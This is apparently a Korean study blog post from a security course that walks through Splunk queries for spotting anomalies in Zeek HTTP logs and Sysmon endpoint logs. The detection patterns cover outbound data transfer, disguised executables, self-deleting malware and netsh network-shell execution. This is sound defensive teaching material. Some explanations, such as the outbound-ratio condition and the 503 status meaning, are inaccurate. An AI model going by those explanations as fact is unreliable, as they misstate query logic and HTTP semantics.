<p><img src="https://velog.velcdn.com/images/p-jina/post/6cdf3651-56b1-4725-a191-6dc686b5b70e/image.png" alt=""></p>
<h2 id="8-http-로그-분석">8. HTTP 로그 분석</h2>
<blockquote>
<h3 id="http-로그-필드">HTTP 로그 필드</h3>
</blockquote>
<ul>
<li>ts : 유닉스 시간</li>
<li>uid : 로그 id</li>
<li>-----------▼ IP헤더에서 알 수 있는 정보----------</li>
<li>id.orig_h : 송신지IP주소</li>
<li>id.orig_p : 송신지 port번호</li>
<li>id.resp_h : 수신지IP주소</li>
<li>id.resp_p : 수신지 port번호</li>
<li>-----------------▼ HTTP 로그 필드---------------</li>
<li>trans_depth : 질의와 응답을 연결하는 ID</li>
<li>method : 요청방식</li>
<li>host : 접근 도메인</li>
<li>uri : 도메인 제외 상세주소</li>
<li>referrer : Host 접속시 경유주소</li>
<li>version : HTTP 버전</li>
<li>user_agent : 웹브라우저 정보</li>
<li>request_body_len : 서버에게 전송하는 정보길이</li>
<li>response_body_len : 사용자에게 전송하는 정보길이</li>
<li>status_code : 상태코드</li>
<li>status_msg : 상태 메세지</li>
<li>tags</li>
<li>Proxied : 프록시 접속 여부</li>
<li>resp_fuids : 연결된 파일 ID</li>
<li>resp_mime_types : 전송파일 mime type</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/4d709708-255d-4bb8-afd3-2d671c4b6872/image.png" alt="">
<img src="https://velog.velcdn.com/images/p-jina/post/5648b024-35dd-4af3-9c4f-ce0e9659de7f/image.png" alt=""></p>
<h3 id="81-http-네트워크-현황-분석-항목">8.1. HTTP 네트워크 현황 분석 항목</h3>
<h4 id="1-사용자들이-가장-많이-접속하는-도메인을-추출해서-접속현황-분석">1) 사용자들이 가장 많이 접속하는 도메인을 추출해서 접속현황 분석</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog domain!=&quot;(empty)&quot; 
| iplocation dst 
| where NOT cidrmatch(&quot;0.0.0.0/0&quot;, domain) 
| stats sum(request_body_len) as &quot;Outbound&quot;, sum(response_body_len) as &quot;Inbound&quot; by domain, Country 
| eval Outbound=round(Outbound/(1024*1024),2) 
| eval Inbound=round(Inbound/(1024*1024),2) 
| sort Outbound desc 
| head 10</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog domain!=&quot;(empty)&quot;</code> : httplog 저장소에서 httplog 필드가 있고, 도메인이 빈 칸인 로그(host명 명시X)를 제외한 로그</li>
<li><code>| iplocation dst</code> : 수신지 IP를 보고 지역정보를 알려줘</li>
<li><code>| where NOT cidrmatch(&quot;0.0.0.0/0&quot;, domain)</code> : 도메인에 IP주소가 포함되지 않는 로그만</li>
<li><code>| stats sum(request_body_len) as &quot;Outbound&quot;, sum(response_body_len) as &quot;Inbound&quot; by domain, Country</code> : 도메인과 국가의 request_body_len의 합계를 Outbound라고 Rename, response_body_len의 합계를 Inbound 라고 Rename ⇒ Request는 나가는거고, Response는 들어오는거라서</li>
<li><code>| eval Outbound=round(Outbound/(1024*1024),2)</code> : 메가바이트로 처리하고 소숫점 2자리까지 반올림하고 Outbound 변수에 값 할당</li>
<li><code>| eval Inbound=round(Inbound/(1024*1024),2)</code> : 메가바이트로 처리하고 소숫점 2자리까지 반올림하고 Inbound 변수에 값 할당</li>
<li><code>| sort Outbound desc</code> : Outbound 필드를 내림차순으로 정렬</li>
<li><code>| head 10</code> : 검색 결과 중 상위 10개만 </li>
</ul>
<blockquote>
<p>💡 대부분 Request Body Length &lt; Response Body Length 지만 
Request Body Length &gt; Response Body Length 경우는 PUT 메소드를 사용할 경우에는 가능</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1df0817d-1a7e-42d4-bdc5-29a799d86a9f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/6b27ee64-200c-4639-a8b3-d2e93cd1ca64/image.png" alt=""></p>
<p>송신지 IP가 1개인데 특정 사이트에 2627번 접속했다면 점검해볼 필요가 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/4788b546-116e-4730-891b-1997e3b0f026/image.png" alt=""></p>
<p>보통 직원들이 접속하는 사이트의 국가는 정해져 있는데 희안한 국가 사이트가 있다면 프록시를 사용중일 수 있기 때문에 모니터링할 필요가 있다.</p>
<h4 id="2-클라이언트가-서버에-자원을-요청하는-방식-분식">2) 클라이언트가 서버에 자원을 요청하는 방식 분식</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog uri!=&quot;-&quot; 
| top method limit=10 showperc=f</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog uri!=&quot;-&quot;</code> : httplog 저장소에서 소스타입이 httplog면서 uri가 없는 건 제외한 로그만</li>
<li><code>| top method limit=10 showperc=f</code> : 메소드별로 카운트해서 퍼센테이지 없이 상위 10개만</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/b1390ab6-d211-4107-8cfc-e6d07e786830/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/397413a5-7bb7-4550-92a1-2cfaa7780c23/image.png" alt=""></p>
<h4 id="3-top-10-클라이언트-오류">3) Top 10 클라이언트 오류</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog uri!=&quot;-&quot; uri!=&quot;/&quot; (status_code &gt;=400 AND status_code &lt; 500) 
| top domain, status_code limit=10 showperc=f</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog uri!=&quot;-&quot; uri!=&quot;/&quot; (status_code &gt;=400 AND status_code &lt; 500)</code> : httplog 저장소의 httplog 필드에서 uri가 없거나 메인페이지인 경우는 제외한 클라이언트 오류(4xx)가 발생한 로그만<ul>
<li>4xx : 클라이언트측 에러<ul>
<li>400 : 문법적 오류</li>
<li>401 : 인증 실패</li>
<li>403 : 접근 권한이 없는 리소스를 요청</li>
<li>404 : 존재하지 않는 리소스를 요청</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/e61d863c-b2f4-4c04-9a00-d8abf3bc8d9b/image.png" alt=""></p>
<h4 id="4-top-10-서버-오류">4) Top 10 서버 오류</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog uri!=&quot;-&quot; status_code &gt;= 500
| top domain, status_code limit=10 showperc=f</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog uri!=&quot;-&quot; status_code &gt;= 500</code> : httplog 저장소의 httplog 필드에서 uri가 없는 건 제외하고 서버 오류(5xx)가 발생한 로그만<ul>
<li>5xx : 서버측 에러<ul>
<li>500 : 소프트웨어상(애플리케이션) 오류</li>
<li>501 : 웹에서 요청한 메소드가 서버에서 허용하는 것이 아닐 경우</li>
<li>502 : 서버와 클라이언트를 중계해주는 프록시에 문제가 발생할 경우 <ul>
<li>웹에서 게이트웨이는 프록시를 의미</li>
</ul>
</li>
<li>503 : 하드웨어상(RAM,CPU) 오류</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/c9dacf55-ed22-47e4-afd2-7998aa5e9bbc/image.png" alt=""></p>
<h4 id="5-http-상태-코드">5) HTTP 상태 코드</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog domain!=&quot;(empty)&quot; status_code!=&quot;-&quot; 
| top limit=10 showperc=f status_code</code></pre>
<p>HTTP 응답코드별로 카운팅해서 상위 10개까지만 표시</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/029b3df3-c6cf-49f4-b50a-6eee7a0d4996/image.png" alt=""></p>
<h2 id="9-http-이상징후">9. HTTP 이상징후</h2>
<h3 id="91-비정상-메소드-사용">9.1. 비정상 메소드 사용</h3>
<h4 id="1-메소드가-options-인-경우">1) 메소드가 OPTIONS 인 경우</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog 
| stats count(eval(method=&quot;OPTIONS&quot;)) AS option_count by src 
| where option_count &gt; 10 
| sort option_count desc</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog</code> : httplog 저장소에서 소스타입이 httplog인 로그</li>
<li><code>| stats count(eval(method=&quot;OPTIONS&quot;)) AS option_count by src</code> : 송신지IP(src)에서 메소드가 OPTIONS인 걸 카운팅해서 option_count로 명명</li>
<li><code>| where option_count &gt; 10</code> : option_count가 10개 이상인 것만</li>
<li><code>| sort option_count desc</code> : option_count 기준으로 내림차순으로 정렬
<img src="https://velog.velcdn.com/images/p-jina/post/b81b819b-c1ec-4088-8370-296444e35b38/image.png" alt=""></li>
</ul>
<h4 id="2-메소드가-get-post---인-경우-제외한-나머지">2) 메소드가 GET, POST, - 인 경우 제외한 나머지</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog 
| where NOT match(method, &quot;(GET|POST|-)&quot;)
| stats count(src) as src_count by method 
| sort - src_count</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog</code> : httplog 저장소에서 소스타입이 httplog인 로그</li>
<li><code>| where NOT match(method, &quot;(GET|POST|-)&quot;)</code> : 메소드가 GET, POST, - (비정상 요청) 제외한 것만 </li>
<li><code>| stats count(src) as src_count by method</code> : 메소드에서 송신지IP(src)를 카운트해서 src_count로 명명</li>
<li><code>| sort - src_count</code> : src_count를 기준으로 내림차순으로 정렬</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/de938253-4583-46eb-badb-f23dbf8b6825/image.png" alt=""></p>
<h3 id="92-외부행-데이터-전송">9.2. 외부행 데이터 전송</h3>
<pre><code class="language-bash">index=httplog sourcetype=httplog (request_body_len!=0 OR response_body_len!=&quot;0&quot;) domain!=&quot;-&quot; 
| stats sum(request_body_len) as outTotal sum(response_body_len) as inTotal by src, dst 
| eval oMB=round(outTotal/(1024*1024),2) 
| eval iMB=round(inTotal/(1024*1024),2) 
| search oMB!=0 AND iMB!=0 
| iplocation dst 
| eval isUp=if((oMB/iMB)&gt;1, &quot;Yes&quot;,&quot;No&quot;) 
| where isUp=&quot;Yes&quot; 
| table src,dst, iMB, oMB, Country, City</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog (request_body_len!=0 OR response_body_len!=&quot;0&quot;) domain!=&quot;-&quot;</code> : httplog 저장소에서 소스타입이 httplog면서 request_body_len나 response_body_len가 0이 아니고 도메인이 공란이 아닌 로그</li>
<li><code>| stats sum(request_body_len) as outTotal sum(response_body_len) as inTotal by src, dst</code> : 송신지 IP주소와 수신지 IP주소에서 request_body_len의 합계를 구해서 outTotal로 명명하고, response_body_len의 합계를 구해서 inTotal로 명명</li>
<li><code>| eval oMB=round(outTotal/(1024*1024),2)</code> : outTotal을 메가 바이트로 처리하고 소숫점 2자리까지 반올림한 후 oMB 변수에 할당</li>
<li><code>| eval iMB=round(inTotal/(1024*1024),2)</code> : inTotal을 메가 바이트로 처리하고 소숫점 2자리까지 반올림한 후 iMB 변수에 할당</li>
<li><code>| search oMB!=0 AND iMB!=0</code> : oMB(request)와 iMB(response) 값이 0이 아닌 것만 검색</li>
<li><code>| iplocation dst</code> : 수신지 IP주소에서 국가코드 추출</li>
<li><code>| eval isUp=if((oMB/iMB)&gt;1, &quot;Yes&quot;,&quot;No&quot;)</code> : oMB(request)나 iMB(response)가 1 이상이면 Yes 아니면 No 값을 isUP 변수에 할당 </li>
<li><code>| where isUp=&quot;Yes&quot;</code> : isUP이 Yes인 것만</li>
<li><code>| table src,dst, iMB, oMB, Country, City</code> : 테이블로 보여주되 필드는 src, dst, iMB, oMB, Country, City로 구성</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a78d439b-bd98-448d-bb8f-41a6a477387d/image.png" alt=""></p>
<h3 id="93-mime-type과-파일-확장자-불일치">9.3. Mime-type과 파일 확장자 불일치</h3>
<pre><code class="language-bash">index=httplog sourcetype=httplog resp_mime_types=&quot;application/x-dosexec&quot; uri!=&quot;-&quot; 
| eval filename1=mvindex(split(uri,&quot;/&quot;),-1) 
| eval filename=if(like(filename1,&quot;%?%&quot;), mvindex(split(filename1,&quot;?&quot;),0),filename1) 
| eval filetype=if(match(filename,&quot;(.exe|.bat|.ps1|.dll|.ocx)$&quot;), &quot;PE&quot;, &quot;Not_PE&quot;) 
| table domain, uri, filename, filetype, resp_mime_types 
| where filetype==&quot;Not_PE&quot; 
| dedup filename</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog resp_mime_types=&quot;application/x-dosexec&quot; uri!=&quot;-&quot;</code> : httplog 저장소에서 소스타입이 httplog이고, 미디어 타입이 DOS 실행 파일이면서 uri가 없는 것은 제외한 나머지 로그</li>
<li><code>| eval filename1=mvindex(split(uri,&quot;/&quot;),-1)</code> : uri를 /를 기준으로 분할 후 인덱스 번호가 -1번인 것을 filename1 변수에 할당</li>
<li><code>| eval filename=if(like(filename1,&quot;%?%&quot;), mvindex(split(filename1,&quot;?&quot;),0),filename1)</code> : 만약 filename1에 ?가 있으면 ?를 기준으로 filename1을 분할 후 인덱스 번호가 0번인 것을 filename 변수에 할당하고, ?가 없으면 그냥 filename1을 filename 변수에 할당 ⇒ 파일명을 검출하기 위함</li>
<li><code>| eval filetype=if(match(filename,&quot;(.exe|.bat|.ps1|.dll|.ocx)$&quot;), &quot;PE&quot;, &quot;Not_PE&quot;)</code> : 만약 filename에 끝부분이 .exe, .bat, .ps1, .dll, .ocx 인 경우 &quot;PE&quot; 값을 filetype 변수에 할당하고, 아닌 경우 &quot;Not_PE&quot; 를 filetype 변수에 할당 ⇒ 파일 확장자를 검출하기 위함</li>
<li><code>| table domain, uri, filename, filetype, resp_mime_types</code> : 테이블을 domain, uri, filename, filetype, resp_mime_types 필드로 구성</li>
<li><code>| where filetype==&quot;Not_PE&quot;</code> : filetype이 &quot;Not_PE&quot;인 것만</li>
<li><code>| dedup filename</code> : filename 중복 제거</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/fc15c4c3-49a3-4f98-a9f2-033166341245/image.png" alt=""></p>
<blockquote>
<p>✅ 체크포인트
Request 헤더의 Accept는 Response 헤더의 Content-type
Request 헤더의 Accept은 받아들일 수 있는 데이터 타입을 MIME타입으로 표현하여 알려줌
Response 헤더의 Content-type은 body의 메세지 본문의 데이터 타입</p>
</blockquote>
<blockquote>
<p>💡 MIME은 그냥 표현 형식
Request 헤더에 있는 <code>accept : text/html</code> 을 예로 들자면 받아들일 수 있는 데이터 타입(accept)이 MIME 타입(text/html)으로 표현되었다고 말한다.</p>
</blockquote>
<blockquote>
<p>💡 <strong>MZ 실행파일이란?</strong> DOS에서 .EXE 실행 파일에 사용되는 파일 형식</p>
</blockquote>
<ul>
<li>파일 확장자 : .exe</li>
<li>인터넷 미디어 타입    <ul>
<li>application/x-dosexec</li>
<li>application/x-msdos-program</li>
<li>application/x-ms-dos-executable</li>
</ul>
</li>
</ul>
<h3 id="94-사이트-이동-후-실행파일-다운로드">9.4. 사이트 이동 후 실행파일 다운로드</h3>
<pre><code class="language-bash">index=httplog sourcetype=httplog referrer!=&quot;-&quot; status_code=200 
| eval filename1=mvindex(split(uri,&quot;/&quot;),-1) 
| eval filename=if(like(filename1,&quot;%?%&quot;), mvindex(split(filename1,&quot;?&quot;),0),filename1) 
| where cidrmatch(&quot;0.0.0.0/0&quot;,domain) 
| where match(resp_mime_types,&quot;application/x-dosexec&quot;) OR match(filename,&quot;(exe|dll|com|src)$&quot;) 
| eval URL=domain+&quot; :: &quot; + filename 
| stats count by src, URL 
| stats list(URL) as Target list(count) as Source by src</code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog referrer!=&quot;-&quot; status_code=200</code> : httplog 저장소에서 소스타입이 httplog고, 경유지가 있는 HTTP 응답코드가 200인 로그</li>
<li><code>| eval filename1=mvindex(split(uri,&quot;/&quot;),-1)</code> : uri를 /로 분할하고 인덱스 번호가 -1번인 것을 filename1 변수에 할당 ⇒ 파일명을 검출하기 위함</li>
<li><code>| eval filename=if(like(filename1,&quot;%?%&quot;) mvindex(split(filename1,&quot;?&quot;),0),filename1)</code> : 만약 filename1에 ?가 있으면 ?를 기준으로 filename1을 분할 후 인덱스 번호가 0번째인 것을 filename 변수에 할당하고, ?가 없으면 그냥 filename1을 filename 변수에 할당 </li>
<li><code>| where cidrmatch(&quot;0.0.0.0/0&quot;,domain)</code> : 도메인에 IP주소가 들어가는지</li>
<li><code>| where match(resp_mime_types,&quot;application/x-dosexec&quot;) OR match(filename,&quot;(exe|dll|com|src)$&quot;)</code> : 미디어 타입이 DOS 실행 파일이거나 filename의 끝부분이 exe, dll, com, src인 것</li>
<li><code>| eval URL=domain+&quot; :: &quot; + filename</code> : 도메인과 ::와 filename을 결합한 값을 URL 변수에 할당</li>
<li><code>| stats count by src, URL</code> : 송신지 IP주소(src)와 URL을 카운팅</li>
<li><code>| stats list(URL) as Target list(count) as Source by src</code> : 송신지 IP주소(src)에서 URL을 Target으로 명명하고, 카운팅한 값을 Source로 명명</li>
</ul>
<p>⇒ DBD 공격을 위한 실행 파일이 있는지 확인하기 위함</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/6eb4062a-b326-42a3-bee1-7855a01c192c/image.png" alt=""></p>
<h3 id="95-프록시-서버-접속">9.5. 프록시 서버 접속</h3>
<pre><code class="language-bash">index=httplog sourcetype=httplog (uri=&quot;http://*&quot; OR method=&quot;connect&quot;) 
| table src, domain, uri  </code></pre>
<ul>
<li><code>index=httplog sourcetype=httplog (uri=&quot;http://*&quot; OR method=&quot;connect&quot;)</code> : httplog 저장소에서 소스타입이 httplog고, uri가 http:// 로 시작하거나 메소드가 connect인 로그</li>
<li><code>| table src, domain, uri</code> : 테이블을 src, domain, uri로 구성</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/dae90fe6-531a-4647-a751-91cb363bf327/image.png" alt=""></p>
<blockquote>
<p>✅ 체크포인트</p>
</blockquote>
<ol>
<li><span style="color:#e06c75"><strong>Request 메소드</strong></span>가 <span style="color:#e06c75"><strong>Connect</strong></span>면 프록시를 경유해 들어왔음을 알 수 있다. </li>
<li><span style="color:#e06c75"><strong>URI</strong></span>에 프로토콜부터 <span style="color:#e06c75"><strong>전체 주소가 보여지면</strong></span> 프록시를 사용했음을 알 수 있다.</li>
</ol>
<h2 id="10-sysmon">10. Sysmon</h2>
<h3 id="101-정의">10.1 정의</h3>
<ul>
<li>윈도우 운영체제에 설치되는 시스템 모니터링 툴</li>
</ul>
<h3 id="102-목적">10.2 목적</h3>
<p>기본 윈도우 이벤트 뷰어에서는 프로세스 생성, 네트워크 연결, 파일 생성 시간 변경 등의 정보를 추출한 후 윈도우 이벤트 저장소에 저장할 수 없기 때문에 ⇒ 이벤트 기반 정보가 아닌 행동 기반 정보를 수집해서 이벤트 저장소에 저장</p>
<h3 id="103-생성-이벤트">10.3. 생성 이벤트</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/61fe4d1c-5544-4539-8c7a-3b3939289215/image.png" alt=""></p>
<h2 id="11-endpoint">11. EndPoint</h2>
<p>일반적으로 클라이언트 PC를 지칭하는 말</p>
<h2 id="12-endpoint-로그-분석-실습환경-구성">12. EndPoint 로그 분석 실습환경 구성</h2>
<p>EndPoint로그 == 윈도우 로그를 기반 ⇒ 악성코드에 감염된 PC들의 이상징후를 탐지</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/20b81b59-76e4-4d7f-93af-2bb2813481b1/image.png" alt=""></p>
<h4 id="1-sysmon-설치">1) Sysmon 설치</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/07a0ee00-6219-49a4-99ca-0885ce2c77bf/image.png" alt=""></p>
<h4 id="2-sysmon-로그-데이터를-splunk-저장소에-넣기">2) sysmon 로그 데이터를 Splunk 저장소에 넣기</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9ad9989e-5357-4c1b-a342-3eed9687a487/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/b7171e2d-7bee-45c8-b215-5b84b603e865/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/751c5a3b-ef2b-43f7-980c-d8cb88f5ed9b/image.png" alt=""></p>
<blockquote>
<p>이렇게 하는 이유? 원래 Forworder 에서 실시간으로 로그를 받아와야하지만 그게 현재 불가능하기 때문에 </p>
</blockquote>
<h4 id="3-splunk-서버-재시작">3) Splunk 서버 재시작</h4>
<p>설정 &gt; 시스템 &gt; 서버 컨트롤
<img src="https://velog.velcdn.com/images/p-jina/post/fb6c40d0-829f-49ef-a5b0-54b9efe5d3ca/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a914652d-6ee5-4a2b-80d8-c0fe3d043daf/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/930cc24d-7f34-4ba0-9089-ee3fa17ef563/image.png" alt=""></p>
<h4 id="4-sysmon-로그-데이터-확인">4) sysmon 로그 데이터 확인</h4>
<p>검색창에 <code>index=sysmon</code> 을 검색했을 때 로그가 뜨면 성공!
<img src="https://velog.velcdn.com/images/p-jina/post/0ddb7216-dd1c-4c93-8f7a-bac7a19c37cc/image.png" alt=""></p>
<p>이벤트 뷰어 &gt; 응용 프로그램 및 서비스 로그 &gt; Microsoft &gt; Sysmon &gt; Operational
<img src="https://velog.velcdn.com/images/p-jina/post/7d53aa93-0960-4073-b05d-9d768d44d8cb/image.png" alt=""></p>
<h2 id="13-pc-이상-징후-분석">13. PC 이상 징후 분석</h2>
<h3 id="131-비정상-폴더에서-exe-파일-실행">13.1. 비정상 폴더에서 exe 파일 실행</h3>
<ul>
<li>윈도우 실행파일(시스템폴더) 위치<ul>
<li>C:\Program Files</li>
<li>C:\Program Files(x86)</li>
<li>C:\Windows</li>
<li>C:\Windows\system32</li>
</ul>
</li>
<li>일반적으로 공격에 사용되는 악성코드는 단독 실행 파일로 동작</li>
<li>시스템 폴더에 설치되지 않음
⇒ 프로그램의 실행 경로를 판단한다면 이상징후를 판별 가능</li>
<li>인터넷으로 다운로드한 악성코드가 처음부터 시스템 폴더에 복사되지는 않기 때문에 최초 실행 폴더를 기반으로 탐지하는 방법은 유효함</li>
<li>백도어 프로그램은 윈도우 정상 파일의 대체로 <code>C:\Windows\System32</code>에 설치되기도 함</li>
</ul>
<pre><code class="language-bash">index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1
(CurrentDirectory!=&quot;*Program FIles*&quot; AND CurrentDirectory!=&quot;*system32*&quot;)
(Image!=&quot;*system32*&quot; AND Image!=&quot;*Program FIles*&quot; AND Image!=&quot;*SysWOW64*&quot;)
[search index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1
| rare CurrentDirectory limit=10 showperc=f showcount=f]
| table Image</code></pre>
<ul>
<li><code>EventCode=1</code> : 프로세스 생성을 의미 ⇒ exe 파일이 정상적으로 실행됨</li>
<li><code>(CurrentDirectory!=&quot;*Program FIles*&quot; AND CurrentDirectory!=&quot;*system32*&quot;)</code> 
<code>(Image!=&quot;*system32*&quot; AND Image!=&quot;*Program FIles*&quot; AND Image!=&quot;*SysWOW64*&quot;)</code> : 실행 파일이 들어있는 디렉터리로 Program Files, System32, SysWOW64 등은 제외</li>
<li><code>[search index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1
| rare CurrentDirectory limit=10 showperc=f showcount=f]</code> : 2차 검색, 하위 검색 ⇒ 검색 범위를 줄이기 위함</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/909a9c4f-ab9c-4efb-a7a5-cf5b54dba807/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a4007b5c-1503-4469-9a6d-56e534505503/image.png" alt=""></p>
<h3 id="132-파일-실행-후-원본-파일-삭제">13.2. 파일 실행 후 원본 파일 삭제</h3>
<blockquote>
<p>💡 <strong>프로그램과 프로세스의 차이</strong>
프로그램 : 하드디스크에 저장된 소스코드 (정적인 상태)
프로세스 : 실행 중인 프로그램</p>
</blockquote>
<ul>
<li>하드 디스크에 저장된 악성코드는 프로세스 상태가 되어야 PC들을 감염시킬 수 있음</li>
<li>악성코드 파일 실행 후 원본파일을 디스크에서 삭제해서 분석을 회피하기도 함 ⇒ <span style="color:#e06c75"><strong>프로그램을 실행 후 원본 파일을 디스크에서 삭제하는 행위는 정상 행위가 아님</strong></span></li>
</ul>
<pre><code class="language-bash">index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1 ParentImage=&quot;C:\\windows\\explorer.exe&quot;
[search index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot;
| where NOT isnull(Image) AND NOT isnull(ParentImage)
| search CommandLine=&quot;* del *&quot;
| table ParentImage
| rename ParentImage AS Image
] | table Image</code></pre>
<ul>
<li><code>EventCode=1 ParentImage=&quot;C:\\windows\\explorer.exe&quot;</code> : 파일탐색기를 이용하여 실행된 파일 검색</li>
<li><code>[search index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot;
| where NOT isnull(Image) AND NOT isnull(ParentImage)
| search CommandLine=&quot;* del *&quot;</code> : 하드디스크에서 실행된 파일을 검색 후 삭제된 파일이 있다면 해당 파일의 원본 이름을 알려줘</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/58d10fb2-7b9a-48c4-811b-b3a1642d9e8f/image.png" alt=""></p>
<h3 id="133-실행-후-네트워크-접속-다수-발생">13.3. 실행 후 네트워크 접속 다수 발생</h3>
<pre><code class="language-bash">index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1 
(Image!=&quot;C:\\Windows*&quot; AND Image!=&quot;*Program FIles*&quot;)
[search index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot;  EventCode=3
 (DestinationIp!=&quot;10.0.0.0/8&quot; AND DestinationIp!=&quot;172.16.0.0/12&quot; AND DestinationIp!=&quot;192.168.0.0/16&quot;)
 | stats count(DestinationIp) AS total_count dc(DestinationIp) AS uniq_count by Image
 | where total_count &gt; 50 OR uniq_count &gt; 20 
 | table Image]
| table Image</code></pre>
<p>⇒ 디도스 공격을 찾아낼 때 사용하는 검색어</p>
<ul>
<li><code>index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot;  EventCode=1</code> : 프로세스가 실행된 파일을 찾고</li>
<li><code>(Image!=&quot;C:\\Windows*&quot; AND Image!=&quot;*Program FIles*&quot;)</code> : Windows나 Program 디렉토리 밑에서 실행된 파일은 제외</li>
<li><code>[search index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot;  EventCode=3</code> : 네트워크 로그만 검색</li>
<li><code>(DestinationIp!=&quot;10.0.0.0/8&quot; AND DestinationIp!=&quot;172.16.0.0/12&quot; AND DestinationIp!=&quot;192.168.0.0/16&quot;)</code> : 수신지 IP주소가 사설주소인 건 제외 ⇒ 수신지가 공인IP인 로그들만 검색</li>
<li><code>| where total_count &gt; 50 OR uniq_count &gt; 20</code> : 수신지 IP로 50회 이상 접속되면 </li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/61eaf1ba-62a9-4769-b922-a6c97efd23d6/image.png" alt=""></p>
<h3 id="134-네트워크-shell-실행">13.4. 네트워크 Shell 실행</h3>
<ul>
<li><p>웹쉘 파일명을 기반으로 검색하는 수 밖에 없음</p>
</li>
<li><p>시그니처를 기반으로 찾아내려면 IDS를 사용</p>
<pre><code class="language-bash">index=sysmon sourcetype=&quot;WinEventLog:Microsoft-Windows-Sysmon/Operational&quot; EventCode=1 
| where match(Image, &quot;netsh.exe$&quot;)
| where NOT isnull(ParentImage)
| table ParentImage, Image, COmmandLine</code></pre>
</li>
<li><p><code>where match(Image, &quot;netsh.exe$&quot;)</code> 윈도우 탐색기를 통해서 </p>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/5442b0f2-269d-4d1d-ba09-31cd4b192d32/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] Zeek, HTTP/DNS/SSL/x.509 로그 필드, 로그 확인 및 전송 실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-Zeek-%EC%84%A4%EC%B9%98-%EB%A1%9C%EA%B7%B8-%ED%99%95%EC%9D%B8-%EB%B0%8F-%EC%A0%84%EC%86%A1-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-Zeek-%EC%84%A4%EC%B9%98-%EB%A1%9C%EA%B7%B8-%ED%99%95%EC%9D%B8-%EB%B0%8F-%EC%A0%84%EC%86%A1-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Wed, 10 Jan 2024 00:40:35 GMT</pubDate>
            <description><![CDATA[<h2 id="1-zeek">1. Zeek</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li><span style="color:#e06c75"><strong>네트워크 침입 탐지 시스템(NIDS)</strong></span>와 Bro가 Zeek 이라는 <span style="color:#e06c75"><strong>프로토콜 분석툴</strong></span>로 이름이 변경됐다.</li>
